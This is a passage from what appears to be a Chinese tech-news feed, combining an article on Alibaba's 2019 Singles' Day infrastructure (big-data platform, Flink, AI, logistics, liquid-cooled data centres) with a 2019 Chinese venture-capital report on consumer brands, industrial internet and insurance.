        2017年,完成全球首次基于公共云的100TB BigBench大数据基准测试。

        此外,平台还攻克了多个技术难题。如可以将不同的数据源用类似的方式存储,用统一的方法计算,提供一套标准化语言,快速实现不同类型数据的计算。

        用“交互式查询”来解决海量数据查询慢的瓶颈,系统可以预判户将会做哪些查询,提前准备,大大降低大规模数据查询的时间。

        飞天大数据平台也已服务于电商、工业、医疗、农业、气象、教育等诸多行业,帮助数万企业用更低成本、更高效率计算海量数据。

        5 Flink:开源实时计算服务更多用户

        每个双11,我们在数据大屏上看到的实时交易额,背后的技术支撑就是Apache Flink。

        自2017年起,通过三年双11的大规模实战检验,阿里在流计算和批处理上积累了大量新功能,实现性能快速提升,并把探索出来的成果第一时间反馈给Flink社区,半年时间就向社区推进了120万代码。

        image


        Flink 技术支持显示海量实时交易量

        Apache Flink 作为业界公认为最好的流计算引擎,不仅仅局限于做流处理,而是一套兼具流、批、机器学习等多种计算功能的大数据引擎,以其高吞吐低延时的优异实时计算能力、支持海量数据的亚秒级快速响应帮助企业和开发者实现数据算力升级。

        如今,Apache Flink已成为CCTV、新浪微博、千寻位置、滴滴、美团、字节跳动、Netflix、Lyft等知名公司建设流处理平台的首要选择。

        多年来,阿里技术被双11倒逼不断打破自己的天花板,也通过开源形式分享技术红利、不断输出给行业,成为推动全球技术进步的强大动力。

        6 阿里AI:支撑60余个业务方向

        天猫双11每一笔订单的产生,从搜索、推荐、咨询,到下单、支付,库存、物流等所有环节,背后都有阿里AI的支撑。这方面的应用非常丰富。

        比如,达摩院的语音技术服务于阿里集团内部40余个BU、60余个业务方,包括天猫精灵、集团CCO、钉钉、阿里妈妈、蚂蚁客服MISA、阿里文学、UC&夸克浏览器、零售通、盒马、菜鸟、大麦和高德等。

        阿里翻译AI能熟练使用超过20余种语言,60余种语言方向,服务全球100多个国家和地区的用户。在双11当天,翻译调用量突破16.6亿次,全天翻译超过2000亿个单词。

        智能客服方面,阿里小蜜承接了淘宝天猫平台97%的在线服务需求,提供了相当于8.5万名人工客服小二的工作量。智能客服赋能数十万商家,解决店铺客人的在线服务需求,全天提供在线咨询对话量3亿次,解决率达到70%。11日凌晨,在“淘宝第一主播”薇娅的直播间,人数峰值达到4310万。

        达摩院在人工智能领域拥有深厚的底层技术积累。在AI算法层,达摩院成立两年来在自然语言处理、智能语音、视觉计算等领域夺得40多项世界第一。

        7 物流数智技术:1亿包裹签收再提速4小时

        2019年天猫双11物流再创新速度。数据显示,11月13日10时左右,2019天猫双11的第1亿个包裹已经送达,比去年提速约4小时,仅用2.4天,创下数智物流新记录。过去6年天猫双11,1亿包裹送达时间从2013年9天,到今年只用了2.4天。

        image


        菜鸟驿站可容纳几万包裹 机器人送快递

        数智技术已经渗透进物流的毛细血管,悄然驱动物流提速。

        今年天猫双11,菜鸟在无锡投入了中国新一代智能仓,在一个库区内使用多种类型的机器人、机械臂等超过千台,智能协作,将整个仓库的发货效率提升60%。

        位于宁波杭州湾的菜鸟进口保税仓是双11期间处理进口包裹量最大的保税仓之一,也是菜鸟打造的首个全数字化跨境仓库。通过一系列IoT智能设备,员工在仓库的作业流程被数字化,可实时记录、追踪、调配,整个仓库产能提高了50%,人效提高了20%。

        菜鸟全球包裹网络中,也通过使用智能算法合单等技术,让原本需要50天送达俄罗斯普通快递,免费升级成了航空特快,仅仅10天可以送达俄罗斯消费者手中。在菜鸟驿站,人脸识别取件、高拍仪识别取件等Iot设备和人工智能技术的应用,让“一秒取件”成为末端取件的新体验。

        8 绿色数据中心:自研液冷、深层水冷技术节能更环保

        2019年,阿里巴巴启用了南通、深圳、张北等三地绿色数据中心备战双11,其中深圳河源、和南通是首次投入使用。

        因为需要庞大的计算量,阿里巴巴从2010年就开始自建数据中心,并把绿色节能降耗放在重要位置。

        2016年,阿里云就推出了全球首台“凉得快”服务器,为了给数据中心降温,工程师直接把服务器“泡在水里”——这是一种极其高效的散热方式:浸没式液冷。服务器被浸泡在一种特殊的绝缘冷却液里,运算产生热量直接被冷却液吸收进入外循环冷却,全程用于散热的能耗几乎为零,整体节能可达70%以上。

        人工智能技术也被应用到数据中心里,算法模型可根据外部温度优化服务器负载,实现智能化电力和热能管控。这些技术都全面支撑双11的电商交易、支付、物流等环节,让双11更节能、环保。

        在2019双11前夕,阿里巴巴宣布基于自主研发的液冷、深层水冷等技术,将数据中心的节能效果逼近极限,将每万笔电商交易的耗电量控制在2度电以内,这意味着仅双11一天,就能为社会节省超过20万度电。

        阿里巴巴已建设了很多座新一代绿色数据中心,不仅有液冷技术、深层湖水制冷、低温空气制冷等高效的散热方式。未来这些节能技术会更大规模的覆用,在更大范围内推广。

        原文发布时间:2019-11-23
        本文作者:【原创】刘学习
        本文来自云栖社区合作伙伴“中国软件网”,了解相关信息可以关注“中国软件网

        ]]>
        2019年度创投报告:什么值得投? Fri, 02 May 2025 09:39:04 +0800

        image.png

        文 | 小饭桌、凡卓资本

        2019年,国内创投市场趋于理性,整体回归价值投资。秩序规范,格局重塑,这或许是对2019年最好的总结。

        在这一年,机构迎来近5年募资规模的最低点,2019年前三季度募资完成的基金共2862支,同比下降70.2%,募资总规模1476亿美元,同比下降27.19%。

        高举高打“买赛道”的时代在淡出,资金开始向头部聚集,马太效应进一步加剧。

        image.png
        (2019中国资本市场整体募资情况)

        基金募资的收紧直接导致2019年融资市场交易放缓,2019年前三季度投融资事件3022起,同比下降38.29%;融资规模1165亿美元,同比下降27.3%。

        image.png
        (2019中国资本市场融资情况)

        从融资规模来看,资金主要流向中后期阶段,D轮之后融资规模占比达到41.39%,早期的种子轮、天使轮以及后期的E轮同比下降超过60%,但战略投资的比重却在提升,融合进一步加剧。

        这一年,消费互联网可挖掘的红利空间在缩小,国内金融赛道和文娱传媒赛道整体呈现降温趋势,产业互联网却迎来新的机遇。2019年前三季度中国市场投资热点主要集中在企业服务、医疗健康、新工业、长租公寓等领域。从融资数量来看,企业服务排名第一;从融资规模来看,新工业领域注入金额最高。

        这一年,受香港事件影响,部分公司赴港IPO暂停或延迟,中美贸易战让更多有较高技术壁垒的硬件领域受到资本青睐,科创板的问世给国内优秀科技企业带来了对接资本市场的新机会。

        剧变与融合的商业浪潮之下,2019年小饭桌重点观察且持续看好新消费、产业互联网、保险和出海四个方向,并推出了超过20篇行业深度报道,旗下的凡卓资本也服务了旅悦、太美医疗、智布互联、轻松筹等在行业中有重大影响力的企业,帮助其更高效地对接资本和资源。

        我们坚持在寒冬中持续寻找有价值的公司和优秀的团队,陪伴创业者共同成长,打造未来商业领袖。在这个过程中,小饭桌除了深度剖析商业模式,也试图分析行业发展的底层逻辑,解答“为什么这个行业会实现爆发”“为什么会在这个时间节点爆发”的问题。在此之上,我们也对行业发展趋势有了一些自己的思考和判断。

        这篇万字长文,是我们思考的外化或者经验的分享,也是一份交给自己的答卷。以飨读者。

        新消费

        新消费是小饭桌2019年重点关注且持续看好的赛道之一,围绕消费品牌、渠道的创新机会非常大。

        截至目前,2019年消费领域融资事件数量达477个,总融资金额超500亿元,融资整体向一级市场中后期靠拢。

        image.png
        (2019年新消费赛道典型融资事件)

        除此之外,完美日记、元气森林、喜茶、毒、三顿半等企业在今年也成为了消费领域炙手可热的明星项目。

        在小饭桌看来,新消费时代来临最底层的逻辑是人群和基础设施的变化。

        人群的变化上,首先是中产消费群体的崛起催生了高品质消费。中国大陆有3320万户中产家庭,群体规模超过1亿,预计到2020年中产阶级人口将超4.7亿人,占据中国消费总量的81%。

        中产群体的消费变化体现在两个方面:

        一是从满足于“量”的基础性消费转向追求“质”的品质消费,他们重品质轻价格,对于衣食住行的消费需求全面升级。所以盒马鲜生升级了传统的菜市场,喜茶升级了街边的奶茶小店。而小饭桌早期桌友小仙炖则瞄准高净值年轻女性群体升级了传统燕窝炖煮方法,首创鲜炖燕窝品类,通过当天炖煮冷链配送的方式让用户开瓶即食,既提升了传统燕窝口感也更加省时省力。

        二是从物质消费转向精神消费、服务消费,对于“非刚需”品的消费需求不断提升。所以鲜花不再是低频购买的礼品,以花点时间为代表的的创业公司通过订阅制让用户每周收到一束鲜花成为“悦己”新风尚;瞄准“精神孤独”的宠物赛道也迎来春天,福贝宠食、疯狂小狗今年均完成了3亿人民币的融资。

        另一个不容忽视的群体是在中国有1.49亿人的Z世代(15-23岁之间),他们带来的是从大众消费到个性消费的转变。Z世代深受嘻哈、街舞、电音等个性化生活方式的影响,正逐渐成长为最重要的消费群体,预计到2020年占整体消费力比例将达到40%。他们成长环境相对富裕,受教育程度提升,高度互联网化,对新兴事物接受能力强,消费需求更加多样与前沿。我们看到2018年中国潮牌消费增速达84%,是非潮牌消费增速的4倍,60%用户是90后及95后年轻人群。

        所以大量潮流APP快速占领了年轻人的朋友圈,以凡卓资本服务的潮品交易平台Nice为例,用户愿意为了溢价数倍的“限量版”“联名款”买单,同时也在这里获取潮流资讯找到同好,甚至成为一名KOL。国际大牌在年轻群体中也褪去了耀眼光芒转而投向国潮、设计师品牌的怀抱:追逐个性,表达“我是谁”、“我想成为谁”,以此完成自我塑造。

        最后是“购买力旺盛”的小镇青年带动下沉市场的消费分层。根据QuestMobile数据显示,截至2019年3月,下沉市场用户规模已超过6亿,其中90后的小镇青年约1.2亿人。虽然他们的月收入及支出均低于一二线青年,但由于没有住房压力,因此在饮食、衣物等其他基础支出上有更强的消费意愿,购买力旺盛接近“月光”。

        他们的消费特点是对日常快消品更在意性价比和熟人间的信任传递,产品交易可以在社交链中快速裂变。因此,主打低价、“熟人帮你砍一刀”的拼多多在下沉市场的广阔天地里快速崛起,成立四年市值便跻身中国互联网江湖前十。但另一方面,更高比例的可支配收入也让他们愿意为品牌买单。根据今年天猫的数据显示,双十一当天超过一半的iPhone11被下沉市场用户买走,购买力惊人。

        不管是中产阶级、Z世代还是小镇青年,人群的变化带来了消费需求的变化:高品质、个性化、性价比……这些变化带来的巨大机会也成为新消费品牌诞生的前提。

        服务年轻人是大势所趋,但除了人群变化之外,基础设施的完善也为新品牌的爆发提供了必要条件。

        首先是供应链的成熟。中国的制造企业已经在产能、管理、技术、效率等环节上全面升级,从传统供应链转化为智慧供应链,满足不断变化的客户消费需求。其重要的特点是流转速度高,反应速度快,同时有一定的柔性基础。

        比如小仙炖就采用C2M的模式提升产品运转效率,先是建立自有工厂和生产线,可以通过标准化生产和质检流程对产品质量做到强管控。同时用户当天下单,工厂当天鲜炖的模式也实现了零库存;随着冷鲜物流设施的成熟,小仙炖也可以做到全程顺丰空运冷鲜配送,隔天冷鲜直达。同样,钟薛高、每日优鲜等品牌也借助冷链技术的东风快速崛起。

        再比如,借助小米强大的供应链,小米生态链中崛起了一批新消费品牌,个护家电企业素士今年也宣布完成2亿元人民币的C轮融资,电动牙刷、剃须刀等也敢于和国外同类竞品正面刚,并凭借极强的性价比成为全网爆款。

        其次是全新传播媒介的出现,除了微信这样月活超10亿的超级APP,近几年抖音、快手、小红书等也收割了大批用户。根据2019年第三季度数据,抖音月活3.5亿,快手月活3.2亿,小红书全景流量月活用户超过1亿。新消费品牌得以借助这些媒介投放优质PGC+UGC内容对用户形成强信任背书。背后的原因在于,现在的用户已经不那么相信电视、杂志等传统媒介,反而更愿意接受KOL的“强势安利”,热衷于在小红书、抖音上“疯狂种草拔草”,社交流量成为了新一轮培育消费品牌的沃土。

        一个典型的例子是,完美日记在小红书的粉丝量超过173万,获赞和收藏数超过了230万,总曝光量上亿,此外还有超过12万条UGC分享笔记。要知道美宝莲在小红书的粉丝也只有15万,YSL这样的国际大牌也不到10万。

        今年双十一前夕用户在小红书上对其搜索量暴涨326%,最终完美日记成交量领跑天猫美妆排行榜,成为首个破亿的彩妆品牌,而且仅用了28分钟就超过了去年同期全天的销售额,堪称国货之光。

        最后是新零售渠道的兴起。如今新消费品牌的渠道除了淘宝、京东等线上电商平台和传统的线下门店之外,直播电商成为新消费品牌一个新的增长极。直播一姐薇娅以单场直播3.23亿的销售额刷新纪录,李佳琦也能一晚卖出15万支唇釉。

        同时,线上线下融合的趋势更加明显,用户可以线下体验线上购买,品牌再将用户的消费数据作信息化处理形成数据资产反哺到运营中来,建立自己的竞争壁垒。

        除此之外,品牌也已经通过种草+收割的模式全渠道营销,逐渐运营起自己的私域流量,聚集一批“超级用户”,对于中间渠道的依赖性在降低。

        所以如果说商超时代催生了宝洁、电商时代诞生了三只松鼠的话,如今的社群新零售时代则让完美日记、HomeFacialPro这样的品牌有了新的机会。

        总的来说,当前中国消费市场的人、货、场都在大重构,所有品类都有被重做一遍的机会。在小饭桌看来,未来成功的新消费品牌会具备以下三个特征:

        1. 产品好。新消费行业进入“产品时代”,用户“轻品牌”而“重产品”,新消费品牌需要具备产品创新能力。这个产品可能是围绕新人群诞生的新品类,比如备受年轻人热捧的POPMART,一个盲盒隐藏款可以被热炒50倍;也有可能是围绕原有产品的升级,比如元気森林就是切入消费升级之下,用户既想喝“肥宅快乐水”又追求低糖健康生活方式的需求,推出无糖却甜的创新饮品;还有可能是对原有产品的创新,比如刚刚完成新一轮融资的咖啡品牌三顿半,通过创新性的包装、极佳的口感和单价8元的高性价比迅速抓住用户眼球成为全网爆款,今年双11一举超过雀巢,成为第一个登顶咖啡榜首的国货品牌,当日销售额就超过去年全年。

        产品方面另一个大趋势是消费品牌会提供多层次的产品结构来满足用户多样化需求,占领市场。完美日记有上百种SKU,并保持每月2-3次的上新频率,产品矩阵包括唇膏、唇釉、眼影等。再比如凡卓资本服务的Nice围绕年轻群体的需求不仅提供球鞋交易,还将品类拓展至潮玩手办、服装配饰、包包等,并通过预售、发售、转卖、二手等多元化的交易方式覆盖商品全生命周期,留住用户。小仙炖则要将品牌打造成“滋补行业P&G”,纵向立足鲜炖燕窝爆款单品,拓展礼品卡、长保质期等场景,横向拓展海参、阿胶、鱼胶等滋补养生全品类,打造滋补业品类组合以覆盖全场景全用户。

        1. 渠道新。新消费品牌需要具备线上线下全渠道能力,线上线下结合让消费渠道越来越多元化,全渠道打通可满足用户全方位需求。POPMART在一二线城市的中高端商场开出了100多家门店,随后又推出了自动售卖机。线上渠道天猫旗舰店和小程序则成为POPMART向三四线城市下沉的抓手。

        除此之外,成功的新消费品牌还应具备信息化和数据化能力,可以围绕特定人群进行线下拓展。瑞幸咖啡就是一个典型的例子,瑞幸围绕白领群体,通过线上流量运营+自建全打通底层系统来改造原有模式,用数据驱动业务,全部订单通过APP下单,根据热力图和订单数据来做选址决策,根据用户消费行为来迭代升级产品。系统可以根据销售的预测向上端供应商和中央仓库发送订单,向下游计划排班,参与门店运营。数据的驱动让瑞幸咖啡开设一家快取店只需要配2-3人,并能够在一年半时间开出3000家门店,单杯租金成本也由11元降至3元。

        1. 擅营销。成功的新消费品牌要善于在新媒体渠道上做出用户喜闻乐见的内容,抓住流量红利快速反应,在差异化的媒介多维度获客。小仙炖就瞄准作为核心用户的26-35岁年轻女性群体,在用户上下班路上投放出租车广播,上下班的电梯间投放电梯广告,白天的碎片化时间投放在抖音、今日头条和微信公众号,在用户下班后的休闲时间又全面覆盖小红书和B站,用组合拳打法实现全天高频触达,占领用户心智,最终实现品牌即品类。

        产业互联网

        从1994年中国接入国际互联网至今,互联网公司经历了信息资讯线上化、用户线上化、商品交易线上化、服务线上化的发展路径,中国互联网高速发展的20年让用户在消费互联网时代的体验得到极致提升,并诞生了以阿里巴巴等一系列市值超过千亿的公司。

        但当我们将视野拓展到产业的上游却发现,制造、医疗、农业、交通、运输、教育等占中国GDP超过70%的行业并没有被很好的改造升级,如果通过技术去真正改造供应链、提升行业效率,将有万亿潜在价值在等待被创造。

        image.png
        (2019年产业互联网赛道典型融资事件)

        变革正在发生。在刚刚过去的一年里,工业用品电商服务平台「震坤行」宣布获得腾讯领投的1.6亿美元D轮融资,通过建立区域总仓、区域服务中心,利用在线智能仓储、智能小仓库,震坤行让用户实现工业用品零库存管理;凡卓资本服务的生命科学领域技术解决方案提供商太美医疗也完成了15亿元人民币的E轮和E+轮融资,成为今年中国科技医疗领域最大规模的融资之一。同样是凡卓资本服务客户的纺织产业互联网公司智布互联也拿到了1亿美元C轮融资,其通过提供完善的染厂ERP系统,让合作的工厂利润提高30%,运营效率提升了50%,做到精益生产。

        巨头也开始积极布局。2019年,腾讯云持续加强在金融、能源、政务等方面的战略合作与布局,发布了自研服务器“星星海”,把腾讯微瓴首次落地钢铁行业,还签署了金融云战略合作协议,深化布局产业互联网。阿里云也在今年整合了四大事业部,革新云储存技术,并收购了云管理平台九州云腾。

        巨额融资、巨头入场、万亿产业改造机会……小饭桌坚定地认为,随着物联网、区块链、人工智能、5G等技术的进一步成熟,下一个时代势必属于产业互联网。

        但为什么是在这个时间节点,产业互联网开始爆发?在小饭桌看来,最本质的驱动力在于供需矛盾让供给侧承压,下游消费增速放缓倒逼上游产业转型升级。

        中国过去的发展是旺盛的市场需求在推动的,但近年来消费增速明显放缓,很多行业都出现了供大于求的情况。供需不均衡问题被放大后便传导至供给侧的生产企业、原材料供应企业。但对于这些企业来说,生产环节、流转环节依然存在链条过长、从业者分散、信息化程度低、发展不均衡、供需不匹配等一系列问题。

        以汽车零售行业为例,2018年经销商新车毛利从5.5%下降到0.4%,亏损经销商占比从11.4%增加到39.3%,到了今年,经销商的新车毛利普遍为负数,全国44%的汽车经销商呈现亏损状态。2018年,国内大批车企的产能利用率已经跌破“安全线”,产能和需求不匹配成为主机厂面对的核心痛点,传统4S经销渠道也面临极大转型压力,如果不从结构上去调整优化原有扩张方式,只能面临淘汰局面。

        另一方面,中国人口红利的拐点已经出现,劳动力短缺的问题慢慢显现,企业必须用机器替代劳动力来提高生产效率。

        除了痛点足够痛之外,产业信息化、基础技术的成熟、政策支持等外部因素也让产业具备了变革升级的条件。

        企业信息化是产业互联网发展的必要前提。经过30多年的信息化进程,国内不少企业具备了相当的信息化基础。且从数量来看,中国企业数量是美国的3倍,上中国过去几年SAAS的增长率均保持在全球增长率的2倍以上,所以在未来的5-10年,中国企业信息化潜力巨大,很有可能实现弯道超车。

        同时,云计算、人工智能、大数据和数字孪生体四类基础技术快速发展,再加上5G技术的加持,产业互联网具备了成熟的技术基础。

        最后从宏观来看,政府多次发文为产业互联网构建了极佳的外部环境,科创版的设立也表明了国家扶持科技企业的决心。

        有行业痛点也有发展条件,看上去产业互联网的发展已经是天时地利人和。但是由于上下游链条参与者众多,再加之不同行业间复杂的特性就决定了它相较于消费互联网有着更高的准入门槛。

        在小饭桌看来,未来产业互联网企业之间的竞争将围绕以下五个核心要素展开。

        1. 产业洞察及模式搭建

        产业互联网由于深入行业,需要团队对于产业本身有很强的洞察和理解,这也是消费互联网人进入产业互联网往往会遇到很多坑的原因。而对于扎根传统产业的人来说,最大的挑战是能否突破原有行业的思维模式,搭建足够创新的商业模式。

        由于不同产业间的现实情况差异极大,模式不能简单做复制,创业团队需要摸清产业链上下游的痛点、价值诉求、利益诉求、运作规则,选择足够犀利的切入点,让模式真正带来效率提升以完成商业闭环。

        以医疗行业为例,尽管全球对于创新药需求旺盛,但药物研发费用持续走高成为药企与CRO公司的最大痛点,究其原因在于创新药在科研与临床研究环节面临数据质量不高、信息孤岛等问题。因此,利用技术手段打通临床研究的信息孤岛,沉淀高质量数据,以至优化临床研究流程,提升药物研发效率就成了关键。

        太美医疗就凭借自主研发完整的专业SaaS产品线,以及以协作为核心理念的TrialOS平台链接了药物研发中包括医院、制药企业、服务商、监管机构、患者在内的多个环节,将信息技术、人工智能技术与药物研发整个流程打通融合,实现数据的顺畅流转,流程的密切合作,并统一行业标准,优化了药物研发流程,加速新药上市步伐。

        除了解决数据孤岛问题,太美医疗还在这一过程中沉淀大量标准化数据,以数据驱动优化临床研究的业务分发和协作体系,将业务覆盖医药研发、药物警戒、医学事务、市场准入和市场营销等领域。如今太美医疗科技已与超过500家国内外领先制药企业和CRO开展业务,与1600余家医院保持稳定合作,平台支撑我国1/3的注册临床研究和不良反应申报工作,多款专业SaaS软件做到了全国第一的市场占有率。

        2. 整合资源迅速冷启动

        产业互联网对于团队的另一个挑战在于如何冷启动。和2C的消费互联网不同,产业升级模式的落地往往需要极强的行业资源作为基础,因此团队过往的积累和资源整合能力是其能否快速发展的关键。从这一个方面去看,产业中的龙头企业、上市公司具有一定的孵化能力,作为初创企业也应该积极思考如何争取更多的资源合作。

        3. 能否成为平台赋能型公司

        除了商业模式和完整落地情况,项目的产业定位和潜力同样重要,企业需要思考的是:究竟是要提高单点效率还是通过赋能完成平台的建立?

        由于我国产业供给端非常分散,如果可以赋能上下游产业链就非常关键,不仅能借力打力快速发展,更可以通过规模优势迅速建立壁垒,完成产业大数据的沉淀甚至产业相关标准的建立,成为未来行业发展的基础设施。

        以服装零售行业为例,企业希望有更丰富SKU、更少库存、更灵活周转并控制成本。当需求传导到服装供应链上游的成衣厂和布行之后,传统的年度计划型生产已经无法满足灵活交付要求。这些企业分布极为分散,且面临布和纱产量过剩、信息化程度低、淡旺季过于明显、资产投入重、生产工艺标准不统一等问题。

        智布互联就以SaaS云平台为基础,首先让纺织供应链中的上下游供应商、客户通过高效的物联网和排单系统链接,完成信息化串联的基础,其次应用智能化的排单引擎,充分赋能中小工厂,让工厂间可以协同生产,规避了单工厂频繁切换生产布种所带来的产能消耗,极大提升了合作工厂的产能利用率。

        这种让纺织产业互联的效果是,对于对于上游的纺织工厂来说解决了明显的淡旺季问题,开机率全年稳定,产能提高后年盈利水平提升了50%;而对于中游制衣厂来说,产品的交付时间从45天缩短至25天,拿货成本却节省了10%。

        4. 技术能力

        这里的技术有两个方面:一方面指绝对的技术独创性,比如专利性技术、领先的算法等;另一方面指的是技术和产业结合情况,是否真的有通过数据化去实现效率的提升,完整承载整个产业链流程,并能持续升级创新。

        花生好车在完成线上线下全渠道和全品牌、全产业链的布局之后,还要通过智能数据系统服务汽车产业链大生态,积累汽车全产业链数据,最终实现对消费者需求、销量等方面的智能管理,向上游精准预测销量,实现采购、销售、库存的平衡,对于C端则构建用户的精准画像,第一时间发现并服务用户全生命周期用车需求。

        对于太美医疗来说,通过数据向上可以驱动制药企业,向下则赋能医院和机构,随着整合越来越多的行业优秀资源,数据的价值也会积累上升,最终建立起长期壁垒。

        5. 长期价值及运营管理

        产业互联网投资的本质是布局未来,企业要和时间做朋友。除了商业本身需要具有可持续的、稳健盈利能力之外,还需要对于产业未来的发展做出一定判断,看该模式是否能够随着行业发展而不断升级亦或完成数据、产品价值、技术等方面的迭代沉淀。这其实也是对管理团队长期运营能力的考验,团队组合必须完整互补且可以持续创新。

        比如凡卓资本服务的客户花生好车去年逆市完成2.1亿美金B轮融资之后今年又拿到10亿元战略融资,其创始人马晓军、陈鹏云具备丰富的团队管理能力,能够带领几千人的地面团队短时间内拓展500家门店,发展狼性的企业文化;智布互联创始人傅俊超也有8年纺织行业管理信息系统项目管理经验,深谙行业痛点并积累了丰富的行业资源。

        在小饭桌看来,产业互联网并非简单的SaaS,需要创业者对产业链上下游的痛点、价值诉求、利益分配、运作规则有清晰准确的洞察,以先进的技术实现效率提升完成赋能。2019年是产业互联网迈上快速发展之路,在医疗、新制造、MRO、通讯、安全等各个领域的头部产业创新公司已经初具规模,我们坚定看好颠覆传统供应链形式的产业革命者。

        保险

        2015年小饭桌开始关注保险领域的创投机会,媒体报道或凡卓资本服务过众安在线、轻松筹、车车科技、悟空保、小雨伞保险、大特保、i云保、谱蓝、善诊、保险极客、小帮规划、十一贝、力码科技、优加健康、谐筑、超级圆桌、健易保、众诺普惠、大象保险、镁信健康等保险领域多个维度、各个细分赛道的创新企业。

        2013年互联网保险概念被提出,但围绕保险的创新创业却一直并未大爆发,保险成为了金融领域最后一片未被互联网彻底开发的蓝海。经过保险领域创业者6年以来的不断实践和探索,小饭桌判断2019年将成为真正的保险创业风口之年,因为围绕保险的渠道创新、产品创新、服务创新在2019年不断相互作用发酵蝉变,所有的创新在市场端开始得到积极回应。

        例如支付宝的蚂蚁保险去年推出的好医保长期医疗险历时1年便收获2000万用户,其中85后、90后人群接近66%,而首次购买商业健康保险的高达76%,据业内人士估计这款产品今年的保费收入将过百亿;微信微保年初推出的药神保特药用药保障保险一经推出便引爆市场,成交量相比微保此前的旗舰产品直接拉升了4倍;从大病众筹和互助起家的轻松筹和水滴互助也纷纷切入保险赛道成立轻松保和水滴保,靠原有业务场景成功转化了数千万的新保险用户。

        而保险赛道之所以会爆发,小饭桌认为底层逻辑有三个:一是政策不断释放积极信号,推动供给端的创新爆发;二是随着国民收入水平不断提高以及消费者获取信息的渠道不断增多,在需求端消费者的保险意识开始大规模觉醒;三是技术变革推动保险的产品创新和渠道创新得以落地。

        首先,政策层面保险姓“保”和产销分离两大政策积极推动了保险业传统供给格局的变革。

        保监会 2016 年 12 月 31 日保险专题会议中提出“保险姓保”,推动保险回归保障的本质。而保险业过去之所以口碑不佳,源于市场长期主推理财型保险,消费者的风险保障需求未被满足。在政策鼓励下,险企开始大力推动保障型产品的开发,保障型险种的代表健康险乘风而起,是近年来增速最快的险种,甚至在今年二季度超越车险成为保费规模第二大的险种。

        image.png
        (中国健康险保费规模)

        事实证明在互联网条件下,只有那些简单、透明、直抵客户痛点、真正为客户创造价值,而不是沦为渠道利益或者公司暴利附属品的产品,才会有长期的市场空间。

        除了保险姓保,近年来政策层面也一直在鼓励产销分离,其本质是保险公司专职开发产品,将销售外包给专业代理机构、经纪公司等为主体的保险中介机构,这意味着专业中介渠道在保费收入中的占比将持续上升并最终成为最主要销售渠道。但我国目前专业保险中介业务占比还比较低,以2019 年 7 月份寿险数据为例,保险专业代理和保险经纪业务对寿险保费的占比仅为1.9%。随着产销分离趋势的发展,专业中介将会迎来黄金期。

        而保险姓保政策要想落地,商保必须和医疗服务打通,才能最终形成闭环。因此除了渠道创新和产品创新外,围绕理赔、控费和医疗服务提供的创新也大量涌现。保险是一纸合约,无非前端收费后端理赔,因此一方面要保证保费收入能持续做大,这是渠道创新和产品创新的主要目的;另一方面要保证理赔的风险敞口是收敛的,保险公司不能赔穿。因此保险必须深入医疗服务,必须能有控费手段。泰康保险收购拜博口腔、高瓴资本投资1万家药店、大量创业者深入公立医院以求建立能对接商保的医疗资源服务网络等,然后用保险作为支付手段把保险公司、投保人、后端健康服务机构连接起来,并在整个保险和医疗的大服务体系中不断的获取保险及医疗的数据,基于数据就可能做更好的风控、定价、控费以及产品开发。

        其次,消费者端的需求开始大量觉醒,尤其是80后、90后逐渐成为保险主流用户,他们对保障型产品的需求更明确,而且信息获取渠道更多元,从需求端开始打破保险业产品与渠道的旧有格局。

        整体来看,我国的社会保障体系是以社保为基础,商业保险为辅助建立起来的,但是我国社保面临巨大缺口,预计在2030 年中国养老金缺口将会达到4.1万亿,而我国城镇企业职工养老金的替代率只有25%(世界银行退休金替代率的理想标准是70%),商业保险作为社保的重要补充有着巨大的发展空间。

        但目前商业健康险赔付对整体医疗卫生支出的替代仅有2.5%。在人口结构改变及未来医疗卫生总费用增长的基础上,商保会快速攀升。参考美国发展经验,预计商保医疗金至少还有10%-30%的提升空间。

        具体到人群层面,80、90后已经进入成家立业之年,正成为保险购买主力。而他们的主要社交和消费行为都依赖互联网,愿意在互联网上完成大额消费,对品牌和产品更容易形成自己的理解和判断,习惯于通过互联网获取信息,希望可以购买到真正适合自己的保障性保险产品。传统的保险销售方式难以满足新一代保险主力消费人群的需求,互联网中介将率先突出重围。

        横向对比,美国、日本、英国和法国 2014 年的保险深度(总保费占GDP的比重)分别为 7.3%、10.8%、10.6%、9.1%,而中国2018年的保险深度仅4.22%,保险密度(人均保费)仅2724元,差距仍然较大。以我国目前人口基数(13.9 亿)来测算,如果健康险密度达到德国 609.89 美元 /人的水平,则健康险保费规模可高达约 8477 亿美元,是目前我国健康险保费规模的 12 倍左右,假设我国健康险密度在未来 15-20 年内达到德国当前水平,则我国健康险保费规模能够以13%-18%的年复合增长率高速增长。

        预计 2019 年我国人均 GDP 将超过 1 万美元,稳居中等偏上收入国家水平。届时,国内中等收入群体在总人口中的占比将达到50%以上,这一群体对于财产保险、医疗保险和养老保险的需求会爆发。

        第三,近年来技术变革持续深化,很多新型保险场景被开发出来,可以更高效连通保险业的上下游的系统级基础设施日趋成熟,大量AI技术也开始广泛使用推动着保险咨询等环节变得更加专业化和标准化。

        电商网站、旅游网站、外卖平台等商业形态的日趋成熟,以及大数据的深化应用,退换货造成的运费损失、航班延误和送餐延迟造成的用户流失等不确定风险都被开发成了新型保险场景,推动了诸如淘宝退货险、携程延误险、美团外卖送餐迟到赔付险等场景保险的出现,而且场景本身也成为了保险销售的渠道。

        而随着下游保险销售渠道的多样化创新涌现,一些连接上游保险公司陈旧系统和下游创新渠道的平台或中间件系统开始出现,这些基础设施加速了保险领域的产品流、信息流、资金流的高效流通。

        另外大量AI技术也开始应用到保险领域,帮助创新企业打造行业知识图谱、智能保险顾问机器人、智能核保理赔系统等智能产品,提升保险咨询、销售、核保、风控、理赔等产业链条各个节点上的运营效率和标准化。

        供给端创新的涌现和需求端意识的觉醒相互促进,前者促使后者加速爆发,后者推动前者持续深化,二者循环刺激推动行业螺旋式上升。而以下3个细分方向,小饭桌认为已经在2019年迎来爆发:

        1. 把新产品和新渠道开发合二为一的“新保险场景”:其中互助场景是目前保险科技赛道最重要的颠覆式创新之一,它重新构建了保险意识唤醒到保险销售转化的完整价值网络,代表公司有支付宝、轻松筹、水滴、滴滴、360 等;另外还有一些围绕特殊人群开发的保险场景,它往往掌握一些诸如糖尿病人、高血压患者、肿瘤患者等特殊人群的健康管理和持续用药的场景,然后再联合保险公司开发一些这些特殊人群能够购买的保险产品,并在原有场景中完成销售,代表公司有思派、善诊、药兜网等。
